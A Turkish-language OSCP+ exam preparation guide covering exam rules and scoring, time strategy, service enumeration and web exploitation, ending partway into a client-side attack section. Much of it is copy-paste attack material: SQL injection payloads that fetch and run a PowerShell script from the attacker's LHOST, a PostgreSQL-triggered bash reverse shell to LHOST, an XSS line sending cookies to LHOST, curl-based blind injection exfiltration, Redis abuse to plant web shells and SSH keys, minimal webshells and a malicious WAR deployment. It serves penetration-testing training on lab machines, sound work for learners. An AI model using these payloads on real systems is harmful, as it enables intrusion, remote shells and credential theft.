OSCP PREP · v2.1
OSCP Ultimate Guide
OSCP+ sınavı için uçtan uca, etkileşimli rehber: kurallar ve puanlama, strateji, keşif, web, parolalar, kabuklar, dosya transferi, Linux/Windows yetki yükseltme, Active Directory, pivoting ve rapor.
Her kod bloğu tek tıkla kopyalanır. LHOST değerini sol menüye bir kez gir, tüm komutlarda yerine konsun. Hack The Box ve Proving Grounds makinelerinden lab notlarım blogda.
0. Bu belge nasıl kullanılır
Üç kullanım modu var:
- Sınavdan önce: Bölüm 1–2'yi baştan sona oku (kurallar + strateji). Diğer bölümlerde bilmediğin her komutu bir lab makinesinde en az bir kez çalıştır — sınavda ilk kez denenen komut, çalışmayan komuttur.
- Sınav sırasında: Bölüm 3–11 kopyala-yapıştır içindir. Her kod bloğunun sağ üstünde Kopyala düğmesi var.
- Takıldığında: 30 dakika kuralı, Linux karar tablosu, Windows karar tablosu ve AD karar ağacı.
Değişkenler. Bütün komutlar aşağıdaki değişkenleri kullanır; sabit IP yoktur. Her yeni hedefte sadece IP'yi değiştir.
# ~/exam/vars.sh → her tmux penceresinde: source ~/exam/vars.sh
export LHOST=$(ip -4 -o addr show tun0 | awk '{print $4}' | cut -d/ -f1) # senin VPN IP'n
export LPORT=443
export IP=192.168.x.x # o anki hedef
export DC=10.10.x.x DOMAIN=corp.local USER=user PASS='Passw0rd!'
Hedef tarafında (Windows/Linux kabuğunda) değişken yoktur: oraya yapıştıracağın komutlarda LHOST geçen yerleri kendi IP'nle değiştir. Açılı ayraçlı her şey (<NTLM>, <PID>) elle doldurulur.
1. OSCP+ sınav kuralları ve puanlama
Kurallar değişir — sınavdan önce resmi kılavuzu oku
Bu bölüm 31 Ekim 2026'da resmi OSCP+ Exam Guide (help.offsec.com, aynı gün güncellenmiş sürüm), OSCP+ Scoring Update blog yazısı ve Equated Scaled Scoring FAQ ile karşılaştırılarak doğrulandı. OffSec kuralları sık günceller: sınavdan 1 hafta önce bu sayfaları yeniden oku. Bu belge ile çelişirse resmi kılavuz geçerlidir.
1 Aralık 2026'dan itibaren puanlama değişiyor
1 Aralık 2026 08:00 GMT ve sonrasında başlayan sınavlarda equated scaled scoring kullanılıyor. OffSec'e göre artık "70 puanı ya da başka herhangi bir ham puanı geçme hedefi olarak kullanmamalısın"; ham puan tek başına geçip geçmediğini belirlemez. Sonuç notlandırmadan sonra bildirilir. Yayımlanmış sayısal bir geçme eşiği yok (internette dolaşan "500 üzerinden 400" gibi rakamlar resmi değil). Sınav içeriği, makine yapısı, süre, kanıt ve rapor kuralları değişmiyor. 30 Kasım 2026'ya kadar girilen sınavlarda eski kural geçerli: 100 üzerinden 70. 1 Aralık'tan önce planlanmış bir sınavı o tarihten sonraya ertelersen yeni yöntemle puanlanırsın. Pratik sonuç: iki durumda da hedef aynı — olabildiğince çok makine + kusursuz rapor, ve puanın yettiğini düşünsen bile raporu mutlaka gönder.
1.1 Sınav yapısı
| Kalem | Değer |
|---|---|
| Süre | 23 saat 45 dakika (gözetmenli) |
| Rapor | Sınav bittikten sonra ayrıca 24 saat |
| Bağımsız makine | 3 adet × 20 puan (10 local.txt + 10 proof.txt) |
| AD seti | 3 makine = 40 ham puan (makine #1: 10, #2: 10, #3: 20) |
| AD başlangıcı | Varsayılan ihlal (assumed breach): bir kullanıcı adı + parola verilir |
| Toplam / geçme | 100 ham puan. 30 Kasım 2026'ya kadar: 70 ile geçilir. 1 Aralık 2026'dan itibaren: ölçekli puanlama, sabit ham puan eşiği yok (yukarıdaki uyarı) |
| Bonus puan | Yok. 1 Kasım 2024'te kaldırıldı. |
| Revert | Kontrol panelinden en fazla 24; sınav sırasında bir kez sıfırlatılabilir |
| Kısmi puan | Bağımsız makinelerde kılavuzda açıkça var (kısmi ve tam yetki). AD için kılavuz sadece makine başına puanı listeliyor; kısmi puanı ayrıca belirtmiyor |
1.2 70 puanın matematiği (30 Kasım 2026'ya kadarki sınavlar)
Bu tablo eski 70/100 kuralına göre. 1 Aralık 2026 ve sonrasında sabit bir eşik yok, ama tablo hangi kombinasyonların "güçlü" olduğunu göstermesi açısından yine de yol gösterir.
Geçen kombinasyonlar (bonus yok):
| Profil | Hesap | Toplam |
|---|---|---|
| AD tam + 1,5 bağımsız | 40 + 20 + 10 | 70 ✅ |
| AD tam + 2 bağımsız | 40 + 20 + 20 | 80 ✅ |
| 3 bağımsız tam + AD'de 1 makine | 60 + 10 | 70 ✅ |
| 3 bağımsız tam + AD'de 2 makine | 60 + 20 | 80 ✅ |
| Sadece AD tam | 40 | ❌ |
| Sadece 3 bağımsız tam | 60 | ❌ |
Sonuç: Tek bir alanla geçilmez. En güvenli yol AD setini bitirmek ve üstüne en az 30 puan bağımsız makineden almaktır. Bağımsız makinelerde initial access (local.txt) genellikle privesc'ten kolaydır — üç makinenin üçünde de local.txt almak 30 puandır.
1.3 Yasaklar ve kısıtlamalar (puanını sıfırlayabilecek şeyler)
| Kural | Pratikte anlamı |
|---|---|
| Metasploit sadece 1 makinede | exploit/auxiliary/post modülleri ve Meterpreter yalnızca seçtiğin tek bir hedefte. check komutu da kullanım sayılır (önce hepsinde dene, sonra seç olmaz). Başladığın an o hedefe kilitlenirsin; saldırı başarısız olsa bile başka hedefte kullanamazsın. Metasploit ile pivot yapılamaz (birden fazla hedefte kullanım sayılır). |
msfvenom ve multi/handler |
Her makinede serbest. Meterpreter payload'ı ise yukarıdaki tek-hedef kuralına tabi. |
| Otomatik sömürü araçları yasak | sqlmap, sqlninja, db_autopwn, browser_autopwn vb. SQLi'yi manuel yapmayı bil. |
| Toplu zafiyet tarayıcıları yasak | Nessus, NeXpose, OpenVAS, Canvas, Core Impact, SAINT vb. Serbest örnekler: Nmap (NSE dahil), Nikto, Burp Free, DirBuster |
| Yasaklı işlevi olan diğer araçlar | Başka bir aracın yasaklı/kısıtlı işlevi kullanan özelliği de yasak (ör. bir aracın içindeki otomatik sömürü modülü) |
| Spoofing yasak | ARP / DNS / NBNS / LLMNR zehirleme. Responder ile poisoning yapma. |
| Ticari araçlar yasak | Burp Suite Pro, Cobalt Strike, Metasploit Pro vb. Burp Community serbest. |
| AI / LLM yasak | OffSec KAI, ChatGPT, Deepseek, Gemini, Claude vb. "kesinlikle yasak" — rapor yazarken de. Notion, Google AI Overview gibi araçlardaki yerleşik AI özelliklerini kapatman gerekmiyor (ayrıntı: "AI Usage Policy in OffSec Exams"). |
| İletişim | Başkasıyla konuşmak, forum/discord'a yazmak yasak. |
Bu tabloyla çelişen teknikler (sqlmap, Responder, Meterpreter'ın birden fazla makinede kullanımı) bu belgede ya hiç yer almaz ya da "sınavda yasak/kısıtlı" etiketiyle geçer.
1.4 Puanın verilme koşulları
- local.txt / proof.txt hedef üzerinde etkileşimli bir kabukta, dosyanın kendi konumundan
cat/typeile okunmalı. Başka yolla elde edilen kanıt o hedef için sıfır puan demektir — kılavuz açıkça "her tür web tabanlı shell"i de buna dahil ediyor (LFI/SQLi ile dosya okuma da geçmez). - proof.txt için kabuk yetkisi: Linux'ta root, Windows'ta SYSTEM / Administrator / yönetici yetkili kullanıcı. proof.txt
/root/ya da Administrator masaüstündedir; local.txt yetkisiz bir hesapla okunabilir. - Ekran görüntüsünde flag içeriği + hedefin IP adresi (
ipconfig/ifconfig/ip addr) zorunlu. Ekran görüntüsü yoksa o hedef için sıfır puan. (whoami/idve hostname'i de eklemek kanıtı güçlendirir.) - Flag'i sınav bitmeden Exam Control Panel'e gir. Panel girdiğin değerin doğru olup olmadığını göstermez — kopyala-yapıştır hatasına dikkat.
- Her makinenin tam puan hedefleri kontrol panelinde yazar; sınav başında oku.
- Rapordaki adımlar, teknik bir okuyucunun adım adım tekrarlayabileceği kadar ayrıntılı olmalı. Kılavuz: "dokümantasyon gereksinimleri çok katıdır"; yetersiz dokümantasyon puanı düşürür ya da sıfırlar.
Tek karede tüm kanıt:
# Linux
hostname; id; ip a | grep inet; cat /root/proof.txt
# Windows (cmd)
hostname & whoami & ipconfig | findstr IPv4 & type C:\Users\Administrator\Desktop\proof.txt
1.5 Sık yapılan puan kaybı hataları
- Flag'i web shell'den okumak (etkileşimli kabuk değil).
- Ekran görüntüsünde IP/hostname yok.
- Flag'i panele girmeyi unutmak, ya da iki makinenin flag'ini karıştırmak (her flag'i hostname ile birlikte not et).
- Metasploit/Meterpreter'ı farkında olmadan ikinci bir makinede kullanmak.
- Exploit'i değiştirdiğin hâlde değişikliği rapora yazmamak (hangi satır, neden).
- Kontrol panelinin flag'i "doğruladığını" sanmak (doğrulamaz).
- Puanın yettiğini düşünüp raporu göndermemek (OffSec: puanın ne olursa olsun raporu gönder).
2. Strateji, zaman ve not disiplini
2.1 Zaman planı (09:00 başlangıç örneği)
| Saat | İş |
|---|---|
| 08:15–09:00 | Gözetmen kontrolü, VPN, vars.sh, tmux, not şablonları |
| 09:00–13:00 | AD seti (verilen kullanıcıyla enum → makine 1 → makine 2 → DC) |
| 13:00–13:45 | Ara: yemek, ekrandan uzak |
| 13:45–17:45 | Bağımsız makine A ve B — her birine en fazla 2 saat, sonra park et |
| 17:45–18:30 | Ara |
| 18:30–21:30 | Bağımsız makine C + park edilenlere ikinci tur |
| 21:30–22:00 | Puan kontrolü: hangi flag'ler panelde? Ekran görüntüleri tam mı? |
| 22:00–03:00 | Eksik privesc'ler / takılanlar |
| 03:00–07:00 | Uyku (alarm kur; gözetmene ara verdiğini bildir) |
| 07:00–08:45 | Taze kafayla son deneme + eksik ekran görüntüleri + notları toparla |
- Rapor için ayrıca 24 saatin var; sınavın son saatlerini rapor yazmaya değil, kanıt toplamaya harca. Sınav bitince makinelere erişim kesilir — eksik ekran görüntüsü sonradan alınamaz.
- Ciddi bir puan biriktirdiğinde (eski kurala göre 70): dur, tüm kanıtları ve panel girişlerini ikinci kez kontrol et, sonra devam et. 1 Aralık 2026 sonrası sabit eşik olmadığından "yeter" diye bırakma; süre varsa devam et.
- Her ara için gözetmene sohbetten haber ver.
2.2 Ortam kurulumu (bir kez)
mkdir -p ~/exam/{recon,exploits,loot,notes,screens,tools}
cd ~/exam && tmux new -s exam
# Pencere düzeni: 0: http.server 1: listener 2: komutlar 3: notlar
# Ctrl+b c yeni pencere Ctrl+b n/p geçiş Ctrl+b % dikey böl
script -a ~/exam/notes/session-$(date +%F).log # tüm terminal kaydı
Önceden indir, ~/exam/tools/ altında hazır tut (sınavda GitHub'a gitmekle vakit kaybetme):
| Linux | Windows | AD / pivot |
|---|---|---|
| linpeas.sh, pspy64, lse.sh | winPEASx64.exe, winPEAS.bat, PowerUp.ps1, SharpUp.exe | SharpHound.exe/.ps1, PowerView.ps1, Rubeus.exe |
| linux-exploit-suggester.sh | PrintSpoofer64.exe, GodPotato-NET4.exe, JuicyPotatoNG.exe | mimikatz.exe (x64), RunasCs.exe |
| socat (statik), nc (statik) | nc64.exe, accesschk64.exe, Seatbelt.exe | chisel (linux+windows), ligolo-ng proxy + agent (linux+windows) |
2.3 Not şablonu (her hedef için kopyala)
# <IP> — <hostname> — <OS>
## Portlar / servisler
## Bulunan kimlik bilgileri
| kullanıcı | parola / hash | kaynak | nerede denendi | sonuç |
## Denenen yollar
- [x] /admin login — default creds OLMADI
- [ ] SMB share "backup" — indirilmedi
## Initial access (komutlar + değiştirilen exploit satırları)
## Privesc (komutlar)
## Flagler local: ____ (panelde ✔) proof: ____ (panelde ✔)
## Ekran görüntüleri 01-<host>-local.png ...
Rapor bu notların temizlenmiş hâlidir. Sonuç üreten her komutu (ve exploit'te değiştirdiğin her satırı) buraya yapıştır.
2.4 30 dakika kuralı (kilitlenme protokolü)
30 dakikadır yeni bilgi (port, dizin, kullanıcı, hata mesajı, kimlik) yoksa:
- Dur. 2 dakika ekrandan kalk.
- Tam TCP taraması bitti mi?
-p-sonuçlarını gerçekten okudun mu? UDP (161!) baktın mı? - Her servisin tam sürümünü yaz ve
searchsploit+ Google'da tek tek ara. - Web: kaynak kod, JS dosyaları, yorumlar,
/.git/, yedek dosyalar, vhost, farklı uzantılar (-x php,txt,bak,zip). - Elindeki her kimlik bilgisini her serviste denedin mi? (bkz. 2.5) Kullanıcı adını parola olarak denedin mi?
- Daha önce "boş" dediğin şeye geri dön (anonim FTP'deki bir dosya, SMB'deki bir share).
- Hâlâ yoksa: park et, başka makineye geç. Batık maliyet tuzağına düşme.
2.5 Kimlik bilgisi yeniden kullanım matrisi
Yeni bir parola/hash bulduğun an:
| Bulunan | Hemen dene |
|---|---|
| Herhangi bir parola | Bilinen tüm kullanıcılarla SSH, SMB, WinRM, RDP, MSSQL, web login, su |
| Web / CMS admin | Aynı parola ile SSH ve DB; admin paneldeki RCE özellikleri |
| DB parolası (config dosyası) | DB'deki kullanıcı tablosu (hash'ler), aynı parola ile SSH / su |
id_rsa |
chmod 600; tüm kullanıcılarla dene; passphrase varsa ssh2john |
| NTLM hash | Kırmadan önce Pass-the-Hash: nxc smb/winrm, evil-winrm -H, impacket-*exec -hashes |
| Yerel Administrator hash | nxc smb <subnet> -u administrator -H <NTLM> --local-auth (yerel admin parolası tekrar kullanımı) |
| Kerberoast / AS-REP hash | hashcat -m 13100 / -m 18200 → parola → her yerde dene |
.kdbx (KeePass) |
keepass2john → kır → içindeki tüm parolalar |
| Domain kullanıcı listesi | Bulduğun parolaları bu listeye spray et (kilitlenme politikasına dikkat) |
# Tek komutla toplu deneme (kullanıcılar ve parolalar dosyada)
nxc smb $IP -u users.txt -p passwords.txt --continue-on-success
nxc winrm $IP -u users.txt -p passwords.txt --continue-on-success
nxc ssh $IP -u users.txt -p passwords.txt --continue-on-success
nxc rdp $IP -u users.txt -p passwords.txt --continue-on-success
nxc mssql $IP -u users.txt -p passwords.txt --continue-on-success
(Pwn3d!) ne demek?
nxc çıktısında (Pwn3d!) görüyorsan o kullanıcı o makinede yerel admindir (SMB) veya komut çalıştırabilir (WinRM). Doğrudan impacket-psexec / evil-winrm ile gir.
3. Keşif ve servis enumerasyonu
3.1 Nmap — tek akış
cd ~/exam/recon
# 1) Tüm TCP portları (arka planda başlat, beklerken web'e bak)
sudo nmap -p- --min-rate 5000 -Pn -oN $IP-all.txt $IP
# 2) Açık portlarda sürüm + varsayılan script
PORTS=$(grep -oP '^\d+(?=/tcp\s+open)' $IP-all.txt | paste -sd,)
sudo nmap -sC -sV -p$PORTS -Pn -oA $IP-svc $IP
# 3) UDP (SNMP, TFTP, DNS için mutlaka)
sudo nmap -sU --top-ports 50 -Pn --open -oN $IP-udp.txt $IP
| Durum | Ne yap |
|---|---|
--min-rate 5000 port kaçırıyor gibi |
-T4 --max-retries 2 ile tekrar, ya da rustscan -a $IP -- -sC -sV |
Tüm portlar filtered |
-Pn var mı? Daha yavaş: -T3; ICMP kapalı olabilir |
| Garip servis | nmap -sV --version-all -p<port>, nc -nv $IP <port> ile banner |
| Sadece birkaç port | Saldırı yüzeyi az demek: o servisleri çok derin incele |
Faydalı NSE: --script vuln (genel), smb-vuln-ms17-010, http-enum, ftp-anon, nfs-showmount, snmp-*.
3.2 Port → ilk yapılacaklar
| Port | Servis | İlk kontrol |
|---|---|---|
| 21 | FTP | anonymous, yazma izni (web köküyse → shell), sürüm CVE |
| 22 | SSH | bulunan anahtar/parolalar; nadiren CVE |
| 25/587 | SMTP | VRFY/RCPT kullanıcı enum; istemci saldırısı için e-posta gönderimi |
| 53 | DNS | zone transfer (AXFR), alt alan adları |
| 80/443/8080… | HTTP | Bölüm 4 |
| 88 | Kerberos | DC işareti; kerbrute userenum, AS-REP |
| 111/2049 | NFS | showmount -e, no_root_squash |
| 135/139/445 | RPC/SMB | null/guest oturum, share'ler, RID brute, imzalama |
| 161/udp | SNMP | public community, kullanıcılar, süreç argümanlarında parolalar |
| 389/636/3268 | LDAP | anonim bind, kullanıcı açıklamalarında parola |
| 1433 | MSSQL | sa / domain auth, xp_cmdshell, xp_dirtree |
| 3306 | MySQL | root boş parola, INTO OUTFILE, UDF |
| 3389 | RDP | bulunan kimliklerle giriş (GUI → daha kolay privesc enum) |
| 5432 | PostgreSQL | postgres:postgres, COPY ... FROM PROGRAM → RCE |
| 5985/5986 | WinRM | evil-winrm (parola veya hash) |
| 6379 | Redis | auth yok → web kökü/SSH anahtarı/cron yazma |
| 27017 | MongoDB | auth yok mu |
3.3 FTP (21)
ftp anonymous@$IP # parola: boş veya anonymous
# ftp> passive / binary / ls -la / get dosya / put test.txt
wget -m --no-passive ftp://anonymous:anonymous@$IP # her şeyi indir
nmap -p21 --script ftp-anon,ftp-syst $IP
3.4 SMB / RPC (139, 445)
# Null ve guest oturumu
nxc smb $IP -u '' -p '' --shares
nxc smb $IP -u 'guest' -p '' --shares
smbclient -N -L //$IP
smbmap -H $IP -u guest
# Kullanıcı listesi: RID brute (guest/null çalışıyorsa çok değerli)
nxc smb $IP -u guest -p '' --rid-brute 4000 | grep SidTypeUser
impacket-lookupsid guest@$IP -no-pass
# Genel enum
enum4linux-ng -A $IP
rpcclient -U '' -N $IP # > enumdomusers > querydispinfo (açıklamalarda parola!)
# Share'i tümden indir
smbclient //$IP/share -N -c 'prompt OFF; recurse ON; mget *'
# veya kimlikle, tüm okunabilir share'lerden dosya avla
nxc smb $IP -u $USER -p $PASS -M spider_plus -o DOWNLOAD_FLAG=True
| Bulgu | Anlamı |
|---|---|
| READ share | Config, script, yedek, .kdbx, .xml (GPP) ara |
| WRITE share | Web köküyse shell; kullanıcıların açtığı bir share ise .lnk/.url ile NetNTLMv2 yakalama (sadece kendi impacket-smbserver'ınla, spoofing değil) |
signing:False |
Relay mümkün (sınav dışı ileri teknik, bkz. 10.10) |
3.5 SNMP (161/udp)
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt $IP
snmpwalk -v2c -c public $IP | tee snmp.txt
snmpbulkwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects # özel script çıktıları (parola!)
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.5 # süreç argümanları
snmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25 # Windows kullanıcıları
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.6.3.1.2 # kurulu yazılımlar
3.6 LDAP / Kerberos (389, 88)
ldapsearch -x -H ldap://$IP -s base namingcontexts
ldapsearch -x -H ldap://$IP -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName description
# Kimlikle
nxc ldap $IP -u $USER -p $PASS --users # açıklama alanlarını oku
# Kullanıcı adı doğrulama (kimlik gerekmez)
kerbrute userenum -d $DOMAIN --dc $IP /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
3.7 NFS, SMTP, DNS, veritabanları, Redis
# NFS
showmount -e $IP
sudo mount -t nfs -o vers=3,nolock $IP:/export /mnt/nfs # sonra ls -lan
# SMTP kullanıcı enum
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t $IP
# DNS
dig axfr @$IP $DOMAIN
# MySQL
mysql -h $IP -u root -p --skip-ssl
# MSSQL
impacket-mssqlclient $USER:$PASS@$IP -windows-auth # domain hesabı
impacket-mssqlclient sa:$PASS@$IP # SQL hesabı
# PostgreSQL → RCE (superuser ise)
psql -h $IP -U postgres
# CREATE TABLE c(o text); COPY c FROM PROGRAM 'id'; SELECT * FROM c;
# Redis
redis-cli -h $IP info
Redis (auth yok) → web shell veya SSH anahtarı:
redis-cli -h $IP config set dir /var/www/html
redis-cli -h $IP config set dbfilename shell.php
redis-cli -h $IP set x '<?php system($_GET["c"]); ?>'
redis-cli -h $IP save
# SSH anahtarı (redis kullanıcısının ev dizini veya /root/.ssh yazılabiliyorsa)
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h $IP -x set k
redis-cli -h $IP config set dir /var/lib/redis/.ssh
redis-cli -h $IP config set dbfilename authorized_keys
redis-cli -h $IP save
4. Web uygulamaları
4.1 Web öncelik sırası
- Sayfayı bir kullanıcı gibi gez (Burp Community açık, proxy geçmişi kayıtta). Kaynak kod, yorumlar, JS dosyaları.
- Teknoloji:
whatweb -a 3 http://$IP, response header'ları, cookie adları, hata sayfası. Sürüm numarası bulursan hemen exploit ara. /robots.txt,/sitemap.xml,/.git/HEAD,/.env,/backup,/admin.- Dizin/dosya keşfi (uzantılarla) ve vhost keşfi.
- Login varsa: default kimlikler → kullanıcı enum → SQLi → zayıf parola brute.
- Her parametre: SQLi, LFI/traversal, komut enjeksiyonu, SSTI.
- Dosya yükleme varsa: uzantı/içerik bypass.
4.2 İçerik ve vhost keşfi
W=/usr/share/seclists/Discovery/Web-Content
feroxbuster -u http://$IP -w $W/raft-medium-directories.txt -x php,txt,html,bak,zip -t 50 -o ferox.txt
ffuf -u http://$IP/FUZZ -w $W/raft-medium-files.txt -ac # dosyalar
gobuster dir -u http://$IP -w $W/directory-list-2.3-medium.txt -x php,txt -t 40 -b 404,403
# vhost (önce /etc/hosts'a ekle: echo "$IP site.htb" | sudo tee -a /etc/hosts)
ffuf -u http://$IP -H "Host: FUZZ.$DOMAIN" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -ac
# Parametre keşfi
ffuf -u "http://$IP/page.php?FUZZ=test" -w $W/burp-parameter-names.txt -ac
-ac (otomatik kalibrasyon) yanlış pozitifleri ayıklar; yetmezse -fs <boyut>, -fc 404, -fw <kelime> ile manuel filtrele.
Açık .git bulursan:
git-dumper http://$IP/.git ./repo && cd repo
git log -p | grep -iE 'pass|secret|key|token' ; git show <commit>
4.3 Varsayılan kimlik bilgileri
| Uygulama | Dene |
|---|---|
| Tomcat Manager | tomcat:s3cret, tomcat:tomcat, admin:admin |
| Jenkins | admin:admin, kayıt açık mı |
| phpMyAdmin / MySQL | root: (boş), root:root |
| Grafana / Zabbix / GLPI | admin:admin, Admin:zabbix, glpi:glpi |
| MSSQL | sa: (boş), sa:sa |
| Genel | admin:admin, admin:password, kullanıcı adı = parola, ürün adı = parola |
Bilinmeyen ürün: "<ürün adı> default password" diye ara.
4.4 SQL Injection (manuel — sqlmap sınavda yasak)
Tespit:
'
' OR 1=1-- -
' AND 1=1-- - ↔ ' AND 1=2-- - -- sayfa değişiyor mu? (boolean)
' AND SLEEP(5)-- - -- MySQL time-based
'; WAITFOR DELAY '0:0:5'-- - -- MSSQL
'; SELECT pg_sleep(5)-- - -- PostgreSQL
UNION ile veri çekme (MySQL):
' ORDER BY 1-- - -- hata verene kadar artır → kolon sayısı N
' UNION SELECT 1,2,3,4-- - -- ekranda görünen kolonu bul
' UNION SELECT 1,database(),user(),@@version-- -
' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1,group_concat(username,0x3a,password),3,4 FROM users-- -
Dosya okuma/yazma → RCE (MySQL, FILE yetkisi):
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -
' UNION SELECT 1,'<?php system($_GET["c"]); ?>',3,4 INTO OUTFILE '/var/www/html/s.php'-- -
MSSQL → komut çalıştırma (stacked query):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -
'; EXEC xp_cmdshell 'powershell -c "IEX(IWR http://LHOST/rev.ps1 -UseBasicParsing)"';-- -
PostgreSQL → komut:
'; CREATE TABLE c(o text); COPY c FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/LHOST/443 0>&1"';-- -
Kör (blind) SQLi'de veriyi karakter karakter çek: ' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- -. Bunu Burp Intruder (Community) veya kısa bir Python döngüsüyle otomatikleştirmek kendi script'in olduğu için serbesttir.
4.5 Directory traversal / LFI / RFI
../../../../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
C:\Windows\System32\drivers\etc\hosts (Windows: ..\..\..\ dene)
php://filter/convert.base64-encode/resource=index.php → kaynak kodu oku
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id
Okunacak değerli dosyalar: /home/*/.ssh/id_rsa, /var/www/html/config.php, wp-config.php, /etc/apache2/sites-enabled/000-default.conf, C:\inetpub\wwwroot\web.config, C:\xampp\apache\conf\httpd.conf, C:\Users\<user>\.ssh\id_rsa.
Log poisoning (LFI → RCE):
curl -s "http://$IP/" -A '<?php system($_GET["c"]); ?>'
curl "http://$IP/index.php?page=/var/log/apache2/access.log&c=id"
# Windows XAMPP: C:\xampp\apache\logs\access.log
RFI (allow_url_include=On ise): ?page=http://LHOST/shell.php&c=id (Kali'de python3 -m http.server 80).
4.6 Dosya yükleme bypass
shell.php shell.phtml shell.php5 shell.phar shell.pHp (uzantı listesi)
shell.php.jpg shell.jpg.php (çift uzantı)
Content-Type: image/jpeg + gövde başına GIF89a; (MIME/magic)
.htaccess → AddType application/x-httpd-php .xyz (sonra shell.xyz yükle)
shell.aspx / shell.asp / web.config (IIS)
Yükleme sonrası: dosya nereye gitti? (/uploads/, yanıt içindeki URL). Çalışmıyorsa: dosya adı değiştiriliyor mu, path traversal ile farklı dizine yazılabiliyor mu (../../shell.php)? SSH anahtarını ../../../../root/.ssh/authorized_keys olarak yazmak klasik bir PEN-200 senaryosudur.
Minimal webshell'ler:
<?php system($_GET['c']); ?>
<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd.exe","/c " + Request["c"]); %>
Kali'de hazır: /usr/share/webshells/ (php, asp, aspx, jsp) ve /usr/share/laudanum/.
4.7 Komut enjeksiyonu
; id | id || id & id && id $(id) `id` %0aid
Kör ise: ; sleep 5 veya ; curl http://LHOST/$(whoami) (Kali'de http.server loguna bak) veya ; ping -c 2 LHOST (sudo tcpdump -i tun0 icmp).
Windows'ta komutun cmd mi PowerShell mi çalıştığını anla:
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
Filtre bypass: boşluk yerine ${IFS}; yasaklı kelime için w'h'o'a'm'i; hepsi yasaksa echo <base64> | base64 -d | bash.
4.8 SSTI
${{<%[%'"}}%\. ← hata veriyorsa şablon motoru var
{{7*7}} → 49 : Jinja2 / Twig {{7*'7'}} → 7777777 Jinja2, 49 Twig
${7*7} → 49 : Freemarker / Velocity
<%= 7*7 %> → 49 : ERB (Ruby)
Jinja2: {{ lipsum.__globals__["os"].popen("id").read() }}
Twig: {{['id']|filter('system')}}
Freemarker: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
4.9 XSS, XXE, SSRF (kısa)
- XSS (PEN-200 konusu): Admin'in görüntülediği bir alana (User-Agent, yorum, iletişim formu) payload → admin'in cookie'si (
HttpOnlydeğilse) veya admin adına istek (ör. WordPress'te yeni admin kullanıcı oluşturan JS).<script>fetch('http://LHOST/?c='+document.cookie)</script> - XXE:
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>— XML alan her uç noktada, SVG/DOCX yüklemelerinde dene. - SSRF:
http://127.0.0.1:<port>/ile iç servisleri tara; Windows'ta\\LHOST\x/http://LHOSTile servis hesabının NetNTLMv2'siniimpacket-smbserver/responder -Aolmadan yakalamak için kendi SMB sunucunu kullan.
4.10 Bilinen uygulamalar ve klasik CVE'ler
# WordPress
wpscan --url http://$IP -e vp,vt,u --plugins-detection aggressive
# admin olunca: Appearance → Theme File Editor → 404.php veya shell içeren plugin zip yükle
# Tomcat Manager → WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o rev.war
curl -u 'tomcat:s3cret' -T rev.war "http://$IP:8080/manager/text/deploy?path=/rev"
curl http://$IP:8080/rev/
# Jenkins Script Console (/script)
# println "id".execute().text
# Drupal / Joomla
droopescan scan drupal -u http://$IP ; joomscan -u http://$IP
| Yazılım | Sürüm | Not |
|---|---|---|
| Apache httpd | 2.4.49 / 2.4.50 | CVE-2021-41773 / 42013 path traversal → RCE (CGI açıksa) |
| Samba | 3.0.20–3.0.25rc3 | usermap_script CVE-2007-2447 |
| Samba | 3.5.0–4.6.4 | SambaCry CVE-2017-7494 (yazılabilir share) |
| vsftpd | 2.3.4 | backdoor |
| Drupal | 7.x / 8.x | Drupalgeddon2 CVE-2018-7600 |
| Webmin | 1.890–1.920 | CVE-2019-15107 |
| Windows SMBv1 | 2008/7 yamasız | MS17-010 (EternalBlue) |
| Grafana | 8.0.0–8.3.0 | CVE-2021-43798 path traversal |
| Elasticsearch | 1.4.x | CVE-2015-1427 |
4.11 Exploit bulma ve uyarlama
searchsploit "<ürün> <sürüm>"
searchsploit -m <EDB-ID> # kopyala
searchsploit -x <EDB-ID> # oku
# GitHub'da: "<CVE> poc" — ama önce kodu OKU
Çalıştırmadan önce her zaman: (1) kodu oku — ne yapıyor, LHOST/LPORT/URL/path nerede? (2) Python 2 mi 3 mü? (3) Hedef sürümle uyumlu mu? (4) Varsayılan kullanıcı/parola/path değiştirilmeli mi? Hata verirse hata mesajını oku: çoğu zaman eksik modül, yanlış path veya HTTPS/HTTP farkıdır. Değiştirdiğin her satırı rapor için not al.
# Windows exploit'i Kali'de derleme
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe # 64-bit
i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32 # 32-bit + winsock
4.12 İstemci tarafı saldırılar (e-posta / phishing senaryosu)
Hedef ortamda SMTP varsa ve "bir kullanıcı e-postaları okuyor" ipucu varsa:
# 1) WebDAV sunucusu
pip3 install wsgidav
mkdir ~/webdav && wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root ~/webdav/
